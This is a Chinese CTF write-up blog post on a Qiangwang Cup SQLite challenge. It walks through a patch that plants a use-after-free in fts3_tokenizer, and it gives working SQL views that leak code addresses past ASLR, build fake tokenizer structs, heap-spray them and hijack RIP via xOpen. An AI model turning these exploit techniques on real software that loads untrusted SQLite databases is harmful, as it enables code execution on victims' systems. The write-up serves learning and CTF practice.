这是今年强网杯的一道题目,给定一个固定的SELECT语句,我们需要构造一个恶意的sqlite数据库文件,当sqlite在该数据库中运行特定的SELECT语句时代码执行。

我在比赛的过程中用了将近一天半的时间在这道题目中,但是并没有解出这道题目。直到比赛结束只有eee的大佬拿到了一血,是唯一的一解。并且我不打算完整复现这道题目。写这篇博客的原因是,真的很久没有这样一个题目让我感受到如此的震惊,和兴奋,通过这个题目学习的过程是十分愉悦的。

Patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
diff --git a/ext/fts3/fts3_tokenizer.c b/ext/fts3/fts3_tokenizer.c
index eab3f513e..a6e6404be 100644
--- a/ext/fts3/fts3_tokenizer.c
+++ b/ext/fts3/fts3_tokenizer.c
@@ -28,6 +28,7 @@

#include <assert.h>
#include <string.h>
+#include <stdio.h>

/*
** Return true if the two-argument version of fts3_tokenizer()
@@ -97,7 +98,12 @@ static void fts3TokenizerFunc(
}
}else{
if( zName ){
- pPtr = sqlite3Fts3HashFind(pHash, zName, nName);
+ if(!strcmp(zName, "hackne0")){
+ pPtr = malloc(0x20);
+ free(pPtr);
+ }else{
+ pPtr = sqlite3Fts3HashFind(pHash, zName, nName);
+ }
}
if( !pPtr ){
char *zErr = sqlite3_mprintf("unknown tokenizer: %s", zName);
@@ -481,7 +487,8 @@ int sqlite3Fts3InitHashTable(
){
int rc = SQLITE_OK;
void *p = (void *)pHash;
- const int any = SQLITE_UTF8|SQLITE_DIRECTONLY;
+ const int any = SQLITE_UTF8;
+ //const int any = SQLITE_UTF8|SQLITE_DIRECTONLY;

#ifdef SQLITE_TEST
char *zTest = 0;

patch很简单,在fts3_tokenizer.c中将原来的逻辑做了一个判断,看来如果参数是hackne0的话会提供一个0x20的空闲堆块,猜测这个堆块指针会继续被使用,可能是一个UaF漏洞。然后在sqlite3Fts3InitHashTable中修改了any的值,去掉了SQLITE_DIRECTONLY标志位。

直到现在我才注意到这里的第二个改动,可能这就是我卡在最后没能getshell的原因…

WTF is fts3_tokenizer?

这是一个分词器。通过简单的搜索我们可以找到一些关于fts3_tokenizer的文章和talk,其中比较有用的是以下两个:

其中最后一篇可以当个综述来看,从攻击面开始分析,以及攻击的流程。长亭的对技术细节上比较详细。

分析器是Sqlite中实现Full Text Search功能的工具。Sqlite中有simple和porter分词器可以用于英文分词,但是对于中文不友好,所以Sqlite也有支持用户开发分词器的支持。注册自定义分词器用到fts3_tokenizer,语法:

1
2
SELECT fts3_tokenizer(<tokenizer-name>);
SELECT fts3_tokenizer(<tokenizer-name>, <sqlite3_tokenizer_module ptr>);

注意⚠️,令人震惊的地方来了:

只提供一个参数的时候用于查询分词器是否注册,函数返回sqlite3_tokenizer_module结构体指针给用户,以blob类型显示。

惊讶不惊讶?直接把结构体地址输出出来了:

image-20200824224844419

加一个hex函数,可以看到指针以大端的形式返回了。

操作系统辛辛苦苦实现了ASLR,Sqlite直接帮攻击者绕过了…

好的,上面这个功能主要是用来查询分词器是否注册的。接下来更离谱的来了:

提供两个参数的时候用于注册分词器,其中第二个参数是tokenizer结构体的指针。

看到这里我真的人傻了。用用户完全可控的地址来注册?用内存地址写SQL?这也太魔幻了…

1
select fts3_tokenizer('mytokenizer', x'deadbeefdeadbeef');

image-20200824225549822

我们来看一下tokenizer结构体:

1
2
3
4
5
6
7
8
struct sqlite3_tokenizer_module {
int iVersion;
int (*xCreate) (int argc, const char * const *argv, sqlite3_tokenizer **ppTokenizer);
int (*xDestroy) (sqlite3_tokenizer *pTokenizer);
int (*xOpen) (sqlite3_tokenizer *pTokenizer, const char *pInput, int nBytes, sqlite3_tokenizer_cursor **ppCursor);
int (*xClose) (sqlite3_tokenizer_cursor *pCursor);
int (*xNext) (sqlite3_tokenizer_cursor *pCursor, const char **ppToken, int *pnBytes, int *piStartOffset, int *piEndOffset, int *piPosition);
};

有好几个回调函数。如果我们能在内存中伪造一个tokenizer结构体,其中的回调函数地址写成shellcode的地址,岂不是可以直接getshell了。例如,创建一个virtual table,就会调用其中的xCreate函数:

1
2
select fts3_tokenizer('simple', x'4141414141414141');
create virtual table a using fts3;

image-20200824230020612

如果create没有问题,之后执行insert语句,可以触发xOpen函数。

Attack surface

上面我们知道了Sqlite直接给了我们部分绕过ASLR的能力,因为直接泄露了代码段的地址。另外我们可以直接劫持结构体指针。在进行进一步攻击利用之前,我们需要明确:我们在一个什么场景中?

在现实场景中,似乎不会有某个服务器直接把sqlite挂在端口上供我们使用,一般都是在Web应用中使用数据库,例如存储用户的信息,用户登陆验证等。而且Sqlite应该是目前世界上用的最多的数据库了,很多移动应用或者桌面程序都使用Sqlite。

SQL很有名的就是注入,也就是用户输入拼接到SQL语句中进行攻击。拍脑门想法:SQL写死就没问题了。下面我们就以这个为场景,SQL写死的时候攻击Sqlite,写死的命令就是:

1
select world from hello;

假如我们可以控制数据库,可以通过创建view来劫持这个select过程 。

Sqlite version pwntools

Leak base

为了写exp,我们需要用sql来实现一些pwntools中的函数,例如u64,p64等等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
CREATE VIEW le_leak AS SELECT hex(fts3_tokenizer("simple")) AS col;

CREATE VIEW leak AS SELECT SUBSTR((SELECT col FROM le_leak), -2, 2) ||
SUBSTR((SELECT col FROM le_leak), -4, 2) ||
SUBSTR((SELECT col FROM le_leak), -6, 2) ||
SUBSTR((SELECT col FROM le_leak), -8, 2) ||
SUBSTR((SELECT col FROM le_leak), -10, 2) ||
SUBSTR((SELECT col FROM le_leak), -12, 2) ||
SUBSTR((SELECT col FROM le_leak), -14, 2) ||
SUBSTR((SELECT col FROM le_leak), -16, 2) AS col;
-- SELECT col FROM leak;

CREATE VIEW u64_leak AS SELECT(
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -1, 1)) -1) * (1 << 0))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -2, 1)) -1) * (1 << 4))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -3, 1)) -1) * (1 << 8))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -4, 1)) -1) * (1 << 12))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -5, 1)) -1) * (1 << 16))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -6, 1)) -1) * (1 << 20))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -7, 1)) -1) * (1 << 24))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -8, 1)) -1) * (1 << 28))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -9, 1)) -1) * (1 << 32))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -10, 1)) -1) * (1 << 36))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -11, 1)) -1) * (1 << 40))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -12, 1)) -1) * (1 << 44))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -13, 1)) -1) * (1 << 48))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -14, 1)) -1) * (1 << 52))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -15, 1)) -1) * (1 << 56))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -16, 1)) -1) * (1 << 60)))
) AS col;
-- SELECT col FROM u64_leak;

CREATE VIEW u64_codebase AS SELECT (
(SELECT col FROM u64_leak) - (SELECT '3298144')
) AS col;

虽然不是原创的实现方法,但是写起来也还是很让人称绝的。我们通过view可以实现对数据的”类型转化”,大端到小端整型,并且可以加减偏移计算基地址。

但是在劫持结构体指针的时候,需要p64。实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
CREATE TABLE hex_map (int INTEGER, val BLOB);
-- int = ascii, val = ord(int)
INSERT INTO hex_map VALUES (0, x'00');
INSERT INTO hex_map VALUES (1, x'01');
INSERT INTO hex_map VALUES (2, x'02');
INSERT INTO hex_map VALUES (3, x'03');
INSERT INTO hex_map VALUES (4, x'04');
...
INSERT INTO hex_map VALUES (255, x'ff');

CREATE VIEW p64_leak AS SELECT CAST(
(SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_leak) / (1 << 0)) % 256) ||
(SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_leak) / (1 << 8)) % 256) ||
(SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_leak) / (1 << 16)) % 256) ||
(SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_leak) / (1 << 24)) % 256) ||
(SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_leak) / (1 << 32)) % 256) ||
(SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_leak) / (1 << 40)) % 256) ||
(SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_leak) / (1 << 48)) % 256) ||
(SELECT val FROM hex_map WHERE int = ((SELECT col FROM u64_leak) / (1 << 56)) % 256)
AS blob) AS col;

我们创建了一个索引表,通过查询+拼接的方式得到p64。

有了代码段的基地址之后,我们可以很容易地获取xCreate函数、xDestroy函数等地址。

Heap spray

1
2
3
4
5
6
CREATE VIEW heap_spray AS SELECT replace(hex(zeroblob(10000)), "00", 
x'4141414142424242' ||
p64_create.col ||
p64_destroy.col ||
x'4343434344444444'
) FROM p64_create JOIN p64_destroy;

由于没有repeat之类的功能,我们用replace来间接实现一下。此时堆中可以有大量的0x20大小的堆块了。

为了劫持结构体指针,我们需要知道伪造的结构体的地址,这个可以通过patch中的uaf实现,直接读取该分词器的返回值,就泄露了堆地址,加上偏移得到结构体地址。

Control RIP

我们讲xOpen修改为0x4343434344444444,可以看到成功控制了RIP:

image-20200825003535219

r12是结构体的地址,0x18是xOpen的偏移。

image-20200825003604182

一份仅供参考的sql在这里

Getshell?

使用xOpen的一个很大的好处是rsi就是输入字符串的地址。如果我们有mov rdi, rsi; call system或者call popen的gadget就好了。

根据之前的材料,如果Sqlite是静态链接或者Sqlite用PHP来搭配使用,上述方法是可行的。可能getshell需要patch的第二个洞来实现,我没有找到getshell的方法。

Meme

最后随便说几句吧。

我真的很喜欢这个题目,如果遇到出题人一定要请他喝一杯☕️。在经历过一些大比赛之后,我一直在总结什么样的题目是好的题目,我觉得这个题目很大一部分都符合我内心中好题目的定位,例如:

  • 不需要学习太多关于内部结构的知识,就可以把握住重点
  • 攻击面让人耳目一新,某种程度上刷新了你的一些认知
  • 攻击的步骤可能有些繁琐,但不会觉得无聊

但是还有一些改进的空间,例如用了奇奇怪怪的ubuntu版本?可能出题人就是在这个版本的环境中调的。以及如果patch个后门函数进去就好了(怎么可能。

当然总的说还是很感谢出题人的题目,让我感受到了很多的快乐🙏。

最最后一句,eee太强了: )